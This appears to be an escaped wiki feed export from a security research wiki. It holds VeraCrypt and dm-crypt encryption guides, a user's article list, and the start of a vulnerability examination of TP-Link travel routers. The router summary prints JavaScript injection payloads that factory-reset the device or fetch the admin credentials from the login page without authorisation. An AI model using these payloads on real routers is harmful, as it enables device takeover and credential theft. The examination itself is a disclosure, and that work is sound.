[&#039;&#039;&#039;1&#039;&#039;&#039;] SHA-512 [&#039;&#039;&#039;2&#039;&#039;&#039;] Whirlpool [&#039;&#039;&#039;3&#039;&#039;&#039;] SHA-256 [&#039;&#039;&#039;4&#039;&#039;&#039;] Streebog&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Filesystems&#039;&#039;&#039;:&amp;lt;br /&amp;gt;&lt;br /&gt;
[&#039;&#039;&#039;1&#039;&#039;&#039;] None [&#039;&#039;&#039;2&#039;&#039;&#039;] FAT [&#039;&#039;&#039;3&#039;&#039;&#039;] Linux Ext2 [&#039;&#039;&#039;4&#039;&#039;&#039;] Linux Ext3 [&#039;&#039;&#039;5&#039;&#039;&#039;] Linux Ext4 [&#039;&#039;&#039;6&#039;&#039;&#039;] NTFS [&#039;&#039;&#039;7&#039;&#039;&#039;] exFAT [&#039;&#039;&#039;8&#039;&#039;&#039;] Btrfs&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Create outter container ===&lt;br /&gt;
&lt;br /&gt;
The outter container will be configured using a basic &amp;lt;code&amp;gt;{AES, SHA256, Password}&amp;lt;/code&amp;gt; configuration and size of 25MB, for the sake of an example. Any parameters may be adapted as needed while using the &amp;lt;code&amp;gt;-c&amp;lt;/code&amp;gt; flag, and are elaborated sufficiently in the interactive prompt. The &amp;lt;code&amp;gt;-h&amp;lt;/code&amp;gt; flag may be used to access the help for further information. Note that Veracrypt volume sizes are indicated in KiB, MiB, GiB or TiB.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;veracrypt -c&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Via interactive text user interface (-t, --text):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
Volume type: 1&lt;br /&gt;
Volume path: FILENAME.hc&lt;br /&gt;
Volume size (sizeK/size[M]/sizeG): 24414K&lt;br /&gt;
Encryption Algorithm: 1&lt;br /&gt;
Hash algorithm: 3&lt;br /&gt;
Filesystem: 2&lt;br /&gt;
Password: OUTTER_PW&lt;br /&gt;
PIM: [ENTER]&lt;br /&gt;
Enter keyfile path [none]: [ENTER]&lt;br /&gt;
Type at least 320 randomly chosen characters and then press Enter: [ENTER]&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Add hidden container ===&lt;br /&gt;
&lt;br /&gt;
After creating the outter container, an inner hidden container can be added. The hidden container will be configured using s sophisticated &amp;lt;code&amp;gt;{AES(Twofish), SHA512, {Password, custom PIM, Keyfile}}&amp;lt;/code&amp;gt; configuration and size of 5MB, for the sake of an example. Note that Veracrypt volume sizes are indicated in KiB, MiB, GiB or TiB.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;$ veracrypt -c&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Via interactive text user interface (-t, --text):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
Volume type: 2&lt;br /&gt;
Volume path: FILENAME.hc&lt;br /&gt;
Hidden volume size (sizeK/size[M]/sizeG): 3883K&lt;br /&gt;
Encryption Algorithm: 6&lt;br /&gt;
Hash algorithm: 1&lt;br /&gt;
Filesystem: 2&lt;br /&gt;
Password: HIDDEN_PW&lt;br /&gt;
PIM: 50000&lt;br /&gt;
Keyfile path [none]: ./Example_Keyfile.png&lt;br /&gt;
Keyfile path [finish]: [ENTER]&lt;br /&gt;
Type at least 320 randomly chosen characters and then press Enter: [ENTER]&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Mount container ===&lt;br /&gt;
&lt;br /&gt;
Simply mount VeraCrypt container via text user interface &amp;lt;code&amp;gt;-t, --text&amp;lt;/code&amp;gt;, which is enabled by default. Or mount in a single command referencing to &amp;lt;code&amp;gt;-h&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;veracrypt $ENC_CONTAINER_FILE $MOUNT_POINT &lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
==== Example: Mount KYTPMET_UE01.hc outter container ====&lt;br /&gt;
&lt;br /&gt;
Via interactive text user interface (-t, --text):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
Password: OUTTER_PW&lt;br /&gt;
PIM: [ENTER]&lt;br /&gt;
Keyfile [none]: [ENTER]&lt;br /&gt;
Protect hidden volume? [No]: [ENTER]&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Example: Mount KYTPMET_UE01.hc hidden container ====&lt;br /&gt;
&lt;br /&gt;
Via interactive text user interface (-t, --text):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
Password: HIDDEN_PW&lt;br /&gt;
PIM: 50000&lt;br /&gt;
Keyfile [none]: Keyfile.png&lt;br /&gt;
Protect hidden volume? [No]: [ENTER]&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== List Mounted Container ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;veracrypt -l&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
=== Dismount Container ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;# Specific&lt;br /&gt;
veracrypt -d $MOUNTPOINT&lt;br /&gt;
# All&lt;br /&gt;
veracrypt -d&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://github.com/veracrypt/VeraCrypt&lt;br /&gt;
* https://www.veracrypt.fr/en/Downloads.html&lt;br /&gt;
* https://www.veracrypt.fr/en/Digital%20Signatures.html&lt;/div&gt;</summary>
		<author><name>JPDoe</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Block_Device_Encryption_-_dm-crypt&amp;diff=4556</id>
		<title>Block Device Encryption - dm-crypt</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Block_Device_Encryption_-_dm-crypt&amp;diff=4556"/>
		<updated>2020-09-17T16:30:54Z</updated>

		<summary type="html">&lt;p&gt;JPDoe: Major: Initial version&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;This document describes for Linux-based systems, how to encrypt a block device using LUKS/dm-Crypt/cryptsetup and automatically unlock and map the encrypted block device on boot.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Linux-based Operating System (&#039;&#039;Here: Ubuntu 20.04 LTS&#039;&#039;)&lt;br /&gt;
* Plain dm-crypt and LUKS encrypted volumes manager installed (&amp;lt;code&amp;gt;apt install cryptsetup&amp;lt;/code&amp;gt;) (&#039;&#039;Here: v2.2.2&#039;&#039;)&lt;br /&gt;
* Block device (&#039;&#039;e.g. partition&#039;&#039;) that is unmapped and ready to encrypt. (&#039;&#039;Any content will be lost!&#039;&#039;)&lt;br /&gt;
&lt;br /&gt;
== TL;DR ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;# Encrypt block device&lt;br /&gt;
sudo cryptsetup luksFormat $BLOCK_DEVICE&lt;br /&gt;
# Generate a random keyfile&lt;br /&gt;
sudo dd if=/dev/urandom bs=256 count=1 of=$KEYFILE&lt;br /&gt;
# Add keyfile to the LUKS header key store&lt;br /&gt;
sudo cryptsetup luksAddKey $BLOCK_DEVICE $KEYFILE&lt;br /&gt;
# Unlock and map the encrypted device on boot via UUID (See: man crypttab)&lt;br /&gt;
UUID=`sudo cryptsetup luksUUID $BLOCK_DEVICE`&lt;br /&gt;
echo &amp;quot;$MAPPER_NAME UUID=$UUID $KEYFILE&amp;quot; | sudo tee -a /etc/crypttab&lt;br /&gt;
# Dump the header information of a LUKS device.&lt;br /&gt;
sudo cryptsetup luksDump $BLOCK_DEVICE&lt;br /&gt;
&lt;br /&gt;
# USE IT.&lt;br /&gt;
man cryptsetup&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Encryption ==&lt;br /&gt;
&lt;br /&gt;
Initializes a LUKS partition and sets the initial passphrase (&#039;&#039;for key-slot 0&#039;&#039;). LUKS2 is used by default. All available algorithms (&#039;&#039;cipher, hash&#039;&#039;) are listed in &amp;lt;code&amp;gt;/proc/crypto&amp;lt;/code&amp;gt; or use &amp;lt;code&amp;gt;cryptsetup benchmark&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;# CHANGE THIS VARIABLE TO THE APPROPRIATE BLOCK DEVICE&lt;br /&gt;
BLOCK_DEVICE=&amp;quot;/dev/sdb1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Encrypt block device (Here: using defaults)&lt;br /&gt;
sudo cryptsetup luksFormat $BLOCK_DEVICE&lt;br /&gt;
&lt;br /&gt;
# Verify: Dump the header information&lt;br /&gt;
sudo cryptsetup luksDump $BLOCK_DEVICE&lt;br /&gt;
# Verify: Inspect device content&lt;br /&gt;
sudo hexdump -C $BLOCK_DEVICE | less&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;Additional &amp;lt;code&amp;gt;luksFormat&amp;lt;/code&amp;gt; parameters&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;--cypher&amp;lt;/code&amp;gt;: (Default: &#039;&#039;&#039;aes-xts-plain64&#039;&#039;&#039;)&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;--key-size&amp;lt;/code&amp;gt;: (Default: &#039;&#039;&#039;256&#039;&#039;&#039;)&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;--hash&amp;lt;/code&amp;gt;: Algorithm used to derive the key. (Default: &#039;&#039;&#039;sha256&#039;&#039;&#039;)&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;--time&amp;lt;/code&amp;gt;: The time used for passphrase processing. (Default: &#039;&#039;&#039;2000&#039;&#039;&#039;) milliseconds.&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;code&amp;gt;--use-random/--use-urandom&amp;lt;/code&amp;gt;: Used RNG. (Default: &#039;&#039;&#039;--use-urandom&#039;&#039;&#039;)&lt;br /&gt;
&lt;br /&gt;
== Auto-Mount during Boot ==&lt;br /&gt;
&lt;br /&gt;
In the following a keyfile will be added to the LUKS header key store to use with &amp;lt;code&amp;gt;crypttab&amp;lt;/code&amp;gt; for automatic device unlocking and mapping at boot. The resulting mapped device can be added a filesystem via &amp;lt;code&amp;gt;mkfs&amp;lt;/code&amp;gt; and automatically mounted using &amp;lt;code&amp;gt;fstab&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;# CHANGE THIS VARIABLE TO A SAFE LOCATION TO STORE THE KEYFILE&lt;br /&gt;
KEYFILE=&amp;quot;/root/key.bin&amp;quot;&lt;br /&gt;
# CHANGE THIS VARIABLE TO THE NAME OF THE DEVICE MAPPER MOUNTPOINT&lt;br /&gt;
MAPPER_NAME=&amp;quot;enc_dev&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Generate a random Keyfil and limit access&lt;br /&gt;
sudo dd if=/dev/urandom bs=32 count=1 of=$KEYFILE&lt;br /&gt;
sudo chmod 400 $KEYFILE&lt;br /&gt;
&lt;br /&gt;
# Add keyfile to the LUKS key storage (max. 8)&lt;br /&gt;
sudo cryptsetup luksAddKey $BLOCK_DEVICE $KEYFILE&lt;br /&gt;
# Remove: sudo cryptsetup luksRemoveKey $BLOCK_DEVICE&lt;br /&gt;
# The passphrase (aka. key-slot 0) remains as backup key&lt;br /&gt;
&lt;br /&gt;
# The crypttab file describes encrypted block devices that are set up during system boot.&lt;br /&gt;
# Format: volume-name encrypted-device key-file options&lt;br /&gt;
UUID=`sudo cryptsetup luksUUID $BLOCK_DEVICE`&lt;br /&gt;
echo &amp;quot;$MAPPER_NAME UUID=$UUID $KEYFILE&amp;quot; | sudo tee -a /etc/crypttab&lt;br /&gt;
&lt;br /&gt;
# Reboot. Then Verify.&lt;br /&gt;
lsblk &amp;quot;/dev/mapper/$MAPPER_NAME&amp;quot;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://gitlab.com/cryptsetup/cryptsetup/&lt;br /&gt;
* https://wiki.archlinux.org/index.php/Dm-crypt/Drive_preparation&lt;br /&gt;
* https://wiki.archlinux.org/index.php/Dm-crypt/Device_encryption&lt;br /&gt;
* https://wiki.archlinux.org/index.php/Dm-crypt/System_configuration#crypttab&lt;/div&gt;</summary>
		<author><name>JPDoe</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=User:JPDoe&amp;diff=4347</id>
		<title>User:JPDoe</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=User:JPDoe&amp;diff=4347"/>
		<updated>2020-07-02T18:14:22Z</updated>

		<summary type="html">&lt;p&gt;JPDoe: Added newly created examination to the list&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;display: none&amp;quot;&amp;gt;__TOC__&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Articles&amp;lt;/h1&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Basics&amp;lt;/h3&amp;gt;&lt;br /&gt;
* [[Firmware Acquisition Techniques]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Contributions&amp;lt;/h3&amp;gt;&lt;br /&gt;
* [[WPA/WPA2 PSK deauthentication attack]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Documentations&amp;lt;/h3&amp;gt;&lt;br /&gt;
* [[Acquisition and Cracking of macOS User Passwords]]&lt;br /&gt;
* [[Brute-Force with NMAP]]&lt;br /&gt;
* [[Password cracking on Android]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Examinations&amp;lt;/h3&amp;gt;&lt;br /&gt;
* Examination of Edimax home devices&lt;br /&gt;
* Examination of LUPUS-Electronics devices&lt;br /&gt;
* Examination of myDlink™ home devices&lt;br /&gt;
* Examination of YAMAHA MusicCast devices&lt;br /&gt;
* Examination of Technaxx devices&lt;br /&gt;
* Examination of TP-Link devices&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Privacy&amp;lt;/h3&amp;gt;&lt;br /&gt;
* [[Remove unnecessary Metadata from Files]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Tools&amp;lt;/h3&amp;gt;&lt;br /&gt;
* [[HNAP0wn: The Home Network Administration Protocol Owner]]&lt;/div&gt;</summary>
		<author><name>JPDoe</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Examination_of_TP-Link_devices&amp;diff=4346</id>
		<title>Examination of TP-Link devices</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Examination_of_TP-Link_devices&amp;diff=4346"/>
		<updated>2020-07-02T17:55:44Z</updated>

		<summary type="html">&lt;p&gt;JPDoe: Created page with &amp;quot;&amp;lt;div style=&amp;quot;max-width: 970px&amp;quot;&amp;gt;  &amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt; &amp;lt;div style=&amp;quot;font-we...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;max-width: 970px&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight: normal;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Table of Contents&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
__TOC__&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Summary&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;&amp;quot;With a market share of over 40 percent of the global consumer WLAN market, TP-Link is the No. 1 WLAN provider.&amp;quot; &amp;lt;sup&amp;gt;[[https://www.tp-link.com/at/home-networking/wifi-router/tl-wr902ac/ IDC Q4/2018]]&amp;lt;/sup&amp;gt; The TP-Link AC750 Wifi Travel Router (TL-WR902AC FW170828) transmittes Base64 encoded username:password as Authorisation cookie on every GET/POST request over non-encrypted HTTP. In addition, this is transmitted every 20 seconds in the form of a heartbeat message. But these credentials aren&#039;t even necessary, since tons of different CGI actions, ranging from Getter and Setter to System modifications, can be called from the login screen using JavaScript Injection (e.g. Factory reset: &amp;lt;code&amp;gt;$.act(ACT_OP, ACT_OP_FACTORY_RESET); $.act(ACT_OP, ACT_OP_REBOOT); $.exe();&amp;lt;/code&amp;gt;; Get Login Credentials: &amp;lt;code&amp;gt;$.act(ACT_GET, USER_CFG, null, null, [&amp;quot;adminName&amp;quot;, &amp;quot;adminPwd&amp;quot;]); $.exe();&amp;lt;/code&amp;gt;) without the need of any authorization.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Introduction&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;TP-Link is a worldwide leading manufacturer of Smart - Communication products which has made a name for itself in Europe, especially in the D-A-CH region, through efficient, reliable products and services. TP-Link Deutschland GmbH has been in existence since April 2009. Through their renowned distribution, online and retail partners, they sell an extensive range of award-winning SOHO products (WLAN, DSL, Powerline, Repeater, UMTS/LTE, print servers, IP cameras, smart home and smart phones) and SMB products (switch, router, SFP modules, media converters, network adapters). With a market share of over 40 percent of the global consumer WLAN market, TP-Link is the No. 1 WLAN provider&amp;lt;sup&amp;gt;[IDC Q4/2018]&amp;lt;/sup&amp;gt;. Their goal is to provide the ever-growing number of users with products of the highest quality and performance while maintaining competitive prices, and thus remain the No.1 in the long term. In 2018, TP-Link sold 200 million devices worldwide, generating sales of around USD 2.2 billion. The company currently employs around 26,000 people worldwide (as of January 2019).&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Source&amp;lt;/b&amp;gt;: [[https://www.tp-link.com/at/about-us/corporate-profile/ TP-Link Profile]]&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;TL-WR902AC: AC750 Wifi - Travel Router&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The incredibly compact TL-WR902AC is the world’s first AC750 travel router. It creates a personal Wi-Fi spot anywhere internet is available and transforms any internet connection into a private AC750 dual-band Wi-Fi network. The TL-WR902AC supports Router, Hotspot, Range Extender, Client and Access Point Modes.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Source&amp;lt;/b&amp;gt;: [[https://www.tp-link.com/at/home-networking/wifi-router/tl-wr902ac/ Product]]&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;TL-WR802N: 300Mbps Wireless N - Nano Router&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The TL-WR802N is the smallest wireless router in the world. It is very easy to use and is a perfect choice for travelers, students, and anyone else who lives life on the go. The TL-WR802N can be powered using the included power adapter or using a smartphone /USB charger. To meet the wireless needs of almost any situation you might encounter, the TL-WR802N supports Router, Hotspot, Range Extender, Client and Access Point Modes.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Source&amp;lt;/b&amp;gt;: [[https://www.tp-link.com/at/home-networking/wifi-router/tl-wr802n/ Product]]&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The analyzed device has Hardware V4 but the Austrian webpage only supports V1 and V2 ([https://www.tp-link.com/at/support/download/tl-wr802n/v1/#Firmware Link]). But the German webpage supports Harware V1 to V4 ([https://www.tp-link.com/de/support/download/tl-wr802n/v1/#Firmware Link]) like most of the other regional support webpages.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;width: 100%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left; width: 150px&amp;quot;&amp;gt;Mode&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th style=&amp;quot;text-align: left&amp;quot;&amp;gt;Description&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Router Mode&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white&amp;quot;&amp;gt;Create a private Wi-Fi network for Ethernet-based internet access.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Hotspot Mode&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white&amp;quot;&amp;gt;Connect to an outdoor WISP Access Point, enjoy a private Wi-Fi hotspot for your devices in public areas.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Range Extender Mode&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white&amp;quot;&amp;gt;Extend your existing Wi-Fi network to maximize coverage and eliminate dead zones.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Client Mode&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white&amp;quot;&amp;gt;Allow devices that require a wired connection to access an existing Wi-Fi network.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;width: 150px&amp;quot;&amp;gt;Access Point Mode&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white&amp;quot;&amp;gt;Create a wireless network for Wi-Fi enabled devices.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Examination&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;h2&amp;gt;Summary&amp;lt;/h2&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; width: calc(100% - 12px);; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Collected Information&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;background-color: white&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;background-color: grey; font-weight: bold; border-color: black&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Device Model&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;TL-WR902AC&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;TL-WR802N&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;Manufacturer&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;TP-Link&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;TP-Link&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey;border-color: black&amp;quot;&amp;gt;Product Type&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;AC750 Wifi Travel Router&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;300 Mbps Wireless Nano Router&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey;border-color: black&amp;quot;&amp;gt;Description&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Transforms any internet connection into a private AC750 dual-band Wi-Fi network&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;The the smallest wireless N router in the world.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey;border-color: black&amp;quot;&amp;gt;Price on Release&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;38€&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;28€&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey;border-color: black&amp;quot;&amp;gt;Release&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;2017 Q1 (Ongoing as of July 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;2015 Q2 (Ongoing as of July 2020)&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey;border-color: black&amp;quot;&amp;gt;State of Research&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;    border-color: black&amp;quot;&amp;gt;Multiple vulnerabilities&amp;lt;/td&amp;gt;&lt;br /&gt;
